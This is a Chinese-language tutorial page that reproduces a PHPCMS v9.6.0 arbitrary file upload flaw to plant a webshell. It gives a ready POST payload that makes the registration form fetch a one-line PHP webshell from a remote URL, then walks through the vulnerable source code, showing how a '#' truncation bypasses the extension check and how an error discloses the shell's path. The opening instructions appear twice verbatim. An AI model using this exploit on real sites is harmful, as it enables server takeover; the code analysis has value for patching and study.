您现在的位置是:首页 > cms教程 > phpcms教程phpcms教程
PHPCMSv9.6.0任意文件上传漏洞getshell
怜蕾2025-05-26phpcms教程已有人查阅
导读phpstudy本地搭建phpcmsapache2.4.39+php5.3.29+mysql8.0.12首先需要在1.txt中写入一句话木马这里将会得到一句话木马文件的地址,就可以成功getshell了
环境:
phpstudy本地搭建phpcms
apache2.4.39+php5.3.29+mysql8.0.12
漏洞影响版本:
PHPCMS 9.6.0
POC:
首先需要在1.txt中写入一句话木马
siteid=1&modelid=11&username=test&password=123456&email=test@qq.com&info[content]=<img src=http://127.0.0.1/1.txt?.php#.jpg>&dosubmit=1&protocol=
然后用post提交poc
这里将会得到一句话木马文件的地址,就可以成功getshell了
测试:
1、该漏洞产生于于phpcms/modules/member/index.php中的register函数中,这里我们通过xdebug来进一步跟进因为我们的payload存在于info变量中,所以我们需要关注对info变量处理的代码在135行可以看到对$_POST['info']变量的值传入到了get函数进行处理,所以我们在134加上断点,然后跟进查看。
这里使用array_map调用回调函数‘new_html_special_chars’将我们的payload中的'<'和'>'转译为html实体字符
接下来的6-27行是引入content中的一些名字、小长度、较大长度、错误输出等配置,来检查我们的输入是否符合要求
28-29行将content中的formtype的值作为函数名来执行,这里的的值为editor
3、跟进editor函数
4、跟进download函数
7-10行对文件的路径网站路径和文件的绝对路径生成
11-16行对content的值进行一个正则匹配,其中变量matches[3]是src或者href后的url地址17行将对匹配出来的url进行一个分析
5、跟进fillurl函数
6、执行完毕fillurl函数回到download函数,执行完后返回$oldpath,$newpath,$value的值
7、回到editor函数并返回$value值,回到get函数并返回$info值
8、回到register函数,开始对数据插入表中
phpstudy本地搭建phpcms
apache2.4.39+php5.3.29+mysql8.0.12
漏洞影响版本:
PHPCMS 9.6.0
POC:
首先需要在1.txt中写入一句话木马
siteid=1&modelid=11&username=test&password=123456&email=test@qq.com&info[content]=<img src=http://127.0.0.1/1.txt?.php#.jpg>&dosubmit=1&protocol=
然后用post提交poc
这里将会得到一句话木马文件的地址,就可以成功getshell了
测试:
1、该漏洞产生于于phpcms/modules/member/index.php中的register函数中,这里我们通过xdebug来进一步跟进因为我们的payload存在于info变量中,所以我们需要关注对info变量处理的代码在135行可以看到对$_POST['info']变量的值传入到了get函数进行处理,所以我们在134加上断点,然后跟进查看。
这里使用array_map调用回调函数‘new_html_special_chars’将我们的payload中的'<'和'>'转译为html实体字符
<img src=http://127.0.0.1/1.txt?.php#.jpg>
2、跟进get函数
function get($data) {
$this->data = $data = trim_script($data);
$model_cache = getcache('member_model', 'commons');
$this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];
$info = array();
$debar_filed = array('catid','title','style','thumb','status','islink','description');
if(is_array($data)) {
foreach($data as $field=>$value) {
if($data['islink']==1 && !in_array($field,$debar_filed)) continue;
$field = safe_replace($field);
$name = $this->fields[$field]['name'];
$minlength = $this->fields[$field]['minlength'];
$maxlength = $this->fields[$field]['maxlength'];
$pattern = $this->fields[$field]['pattern'];
$errortips = $this->fields[$field]['errortips'];
if(empty($errortips)) $errortips = "$name 不符合要求!";
$length = empty($value) ? 0 : strlen($value);
if($minlength && $length < $minlength && !$isimport) showmessage("$name 不得少于 $minlength 个字符!");
if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在'.$field.'字段');
if($maxlength && $length > $maxlength && !$isimport) {
showmessage("$name 不得超过 $maxlength 个字符!");
} else {
str_cut($value, $maxlength);
}
if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips);
if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重复!");
$func = $this->fields[$field]['formtype'];
if(method_exists($this, $func)) $value = $this->$func($field, $value);
$info[$field] = $value;
}
}
return $info;
}
这里2-4行是对模型的配置进行了加载,并且获取了该模型的表名,这里的表名为member_detail表结构:接下来的6-27行是引入content中的一些名字、小长度、较大长度、错误输出等配置,来检查我们的输入是否符合要求
28-29行将content中的formtype的值作为函数名来执行,这里的的值为editor
3、跟进editor函数
function editor($field, $value) {
$setting = string2array($this->fields[$field]['setting']);
$enablesaveimage = $setting['enablesaveimage'];
$site_setting = string2array($this->site_config['setting']);
$watermark_enable = intval($site_setting['watermark_enable']);
$value = $this->attachment->download('content', $value,$watermark_enable);
return $value;
}
2-5行对content的配置进行了导入4、跟进download函数
function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
{
global $image_d;
$this->att_db = pc_base::load_model('attachment_model');
$upload_url = pc_base::load_config('system','upload_url');
$this->field = $field;
$dir = date('Y/md/');
$uploadpath = $upload_url.$dir;
$uploaddir = $this->upload_root.$dir;
$string = new_stripslashes($value);
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
$remotefileurls = array();
foreach($matches[3] as $matche)
{
if(strpos($matche, '://') === false) continue;
dir_create($uploaddir);
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
}
3-5行对上传文件的配置进行导入7-10行对文件的路径网站路径和文件的绝对路径生成
11-16行对content的值进行一个正则匹配,其中变量matches[3]是src或者href后的url地址17行将对匹配出来的url进行一个分析
5、跟进fillurl函数
function fillurl($surl, $absurl, $basehref = '') {
if($basehref != '') {
$preurl = strtolower(substr($surl,0,6));
if($preurl=='http://' || $preurl=='ftp://' ||$preurl=='mms://' || $preurl=='rtsp://' || $preurl=='thunde' || $preurl=='emule://'|| $preurl=='ed2k://')
return$surl;
else
return $basehref.'/'.$surl;
}
$i = 0;
$dstr = '';
$pstr = '';
$okurl = '';
$pathStep = 0;
$surl = trim($surl);
if($surl=='') return '';
$urls = @parse_url(SITE_URL);
$HomeUrl = $urls['host'];
$BaseUrlPath = $HomeUrl.$urls['path'];
$BaseUrlPath = preg_replace("/\/([^\/]*)\.(.*)$/",'/',$BaseUrlPath);
$BaseUrlPath = preg_replace("/\/$/",'',$BaseUrlPath);
$pos = strpos($surl,'#');
if($pos>0) $surl = substr($surl,0,$pos);
if($surl[0]=='/') {
$okurl = 'http://'.$HomeUrl.'/'.$surl;
} elseif($surl[0] == '.') {
if(strlen($surl)<=2) return '';
elseif($surl[0]=='/') {
$okurl = 'http://'.$BaseUrlPath.'/'.substr($surl,2,strlen($surl)-2);
} else {
$urls = explode('/',$surl);
foreach($urls as $u) {
if($u=="..") $pathStep++;
else if($i<count($urls)-1) $dstr .= $urls[$i].'/';
else $dstr .= $urls[$i];
$i++;
}
$urls = explode('/', $BaseUrlPath);
if(count($urls) <= $pathStep)
return '';
else {
$pstr = 'http://';
for($i=0;$i<count($urls)-$pathStep;$i++) {
$pstr .= $urls[$i].'/';
}
$okurl = $pstr.$dstr;
}
}
} else {
$preurl = strtolower(substr($surl,0,6));
if(strlen($surl)<7)
$okurl = 'http://'.$BaseUrlPath.'/'.$surl;
elseif($preurl=="http:/"||$preurl=='ftp://' ||$preurl=='mms://' || $preurl=="rtsp://" || $preurl=='thunde' || $preurl=='emule:'|| $preurl=='ed2k:/')
$okurl = $surl;
else
$okurl = 'http://'.$BaseUrlPath.'/'.$surl;
}
$preurl = strtolower(substr($okurl,0,6));
if($preurl=='ftp://' || $preurl=='mms://' || $preurl=='rtsp://' || $preurl=='thunde' || $preurl=='emule:'|| $preurl=='ed2k:/') {
return $okurl;
} else {
$okurl = preg_replace('/^(http:\/\/)/i','',$okurl);
$okurl = preg_replace('/\/{1,}/i','/',$okurl);
return 'http://'.$okurl;
}
}
这个函数的重点是第21、22行,这里写意图应该是想把#号去掉,但是也能将#号后面的内容也去掉,所以我们用来绕过的#.jpg就被去掉了然后返回的值就是http://127.0.0.1/1.txt?.php6、执行完毕fillurl函数回到download函数,执行完后返回$oldpath,$newpath,$value的值
unset($matches, $string);
$remotefileurls = array_unique($remotefileurls);
$oldpath = $newpath = array();
foreach($remotefileurls as $k=>$file) {
if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
$filename = fileext($file);
$file_name = basename($file);
$filename = $this->getname($filename);
$newfile = $uploaddir.$filename;
$upload_func = $this->upload_func;
if($upload_func($file, $newfile)) {
$oldpath[] = $k;
$GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
@chmod($newfile, 0777);
$fileext = fileext($filename);
if($watermark){
watermark($newfile, $newfile,$this->siteid);
}
$filepath = $dir.$filename;
$downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
$aid = $this->add($downloadedfile);
$this->downloadedfiles[$aid] = $filepath;
}
}
return str_replace($oldpath, $newpath, $value);
}
所以这里的第6行就把php当作了文件的ext,然后通过getname函数随机生成文件名称,其所生成的然后第12行copy了变量$file中的内容,也就是我们文本中的一句话木马7、回到editor函数并返回$value值,回到get函数并返回$info值
8、回到register函数,开始对数据插入表中
if(pc_base::load_config('system', 'phpsso')) {
$this->_init_phpsso();
$status = $this->client->ps_member_register($userinfo['username'], $userinfo['password'], $userinfo['email'], $userinfo['regip'], $userinfo['encrypt']);
if($status > 0) {
$userinfo['phpssouid'] = $status;
//传入phpsso为明文密码,加密后存入phpcms_v9
$password = $userinfo['password'];
$userinfo['password'] = password($userinfo['password'], $userinfo['encrypt']);
$userid = $this->db->insert($userinfo, 1);
if($member_setting['choosemodel']) {//如果开启选择模型
$user_model_info['userid'] = $userid;
//插入会员模型数据
$this->db->set_model($userinfo['modelid']);
$this->db->insert($user_model_info);
}
在第14行插入$user_model_info的时候由于数据类型不同会报错,就可以获取我们上传文件的路径,从而getshell了。
本文标签:
很赞哦! ()
上一篇:phpcms后台信息修改文件路径
下一篇:phpcmsV9添加模块的方法
相关教程
图文教程
phpcmsv9系统搭建wap网站及单页面的方法
如需要绑定域名为wap.ebingou.cn,作下如操作:一、把wap.ebingou.cn域名绑定到你的这个网站主机上。二、在网站后台--模块--手机门户域名里面填写“http://wap.ebingou.cn/”
phpcms提示标题不能为空的解决方法实例
phpcms标题不能为空的解决办法:首先打开并修改“global.func.php”文件内容;然后找到并打开“form.inc.php”文件;接着添加语句为“$linkageidb=$linkageid+1;”
phpcms根目录位置路径在哪
phpcms根目录在哪?phpcms2008后台路径:admin\templatesV9后台路径:phpcms\modules\admin\templates
PHPCMS判断栏目是否含有子栏目的写法示例
PHPCMS 如何判断该栏目是否含有子栏目?1、直接判断该栏目的数据中“child”,如果为true则含有子栏目;2、先判断数据是否存在,如果存在再判断是否为空
相关源码
-
(PC+WAP)绿色日志美文文学说说博客网站pbootcms模板除日志博客类网站外,通过替换图文内容可快速适配:心情日记分享平台、文学创作社区、朋友圈内容聚合站、美文鉴赏网站、读书笔记平台等应用场景。查看源码 -
(自适应响应式)水墨风白酒酿制酒业酒文化酒类产品网站源码下载本模板基于PbootCMS内核开发,为酒类企业打造的水墨风响应式网站解决方案。采用传统东方美学设计语言,呈现白酒文化底蕴,自适应移动端展示效果,数据实时同步更新,助力酒企建立专业数字化形象。查看源码 -
(自适应多语言)WordPress开源主题MirageV资讯个人博客源码MirageV资讯类个人博客主题源码/WordPress主题/全开源MirageV 是一款开源的 WordPress 主题,支持自适应、暗黑模式、多语言等功能,查看源码 -
pbootcms模板(自适应)花店鲜花花卉园艺网站源码一款基于PbootCMS内核开发的花店鲜花配送与花卉园艺企业网站模板。该模板采用响应式设计,自动适配手机、平板等移动设备,确保用户在任何设备上都能获得优质浏览体验。查看源码 -
手机软件APP游戏软件下载网站Pbootcms模板(自适应)基于PbootCMS内核深度开发的网站模板,为移动互联网时代打造。无论是手机APP推广、游戏软件展示,还是各类企业官网需求,本模板都能通过简单的图文替换实现行业无缝切换查看源码 -
帝国cms7.2淘宝客导购自媒体博客网站模板源码本模板基于帝国CMS7.2内核深度开发,为淘宝客、商品导购类自媒体及博客网站设计。通过可视化后台管理,可快速搭建具备商品推荐、比价功能的内容平台,帮助用户实现流量高效转化。查看源码
| 分享笔记 (共有 篇笔记) |
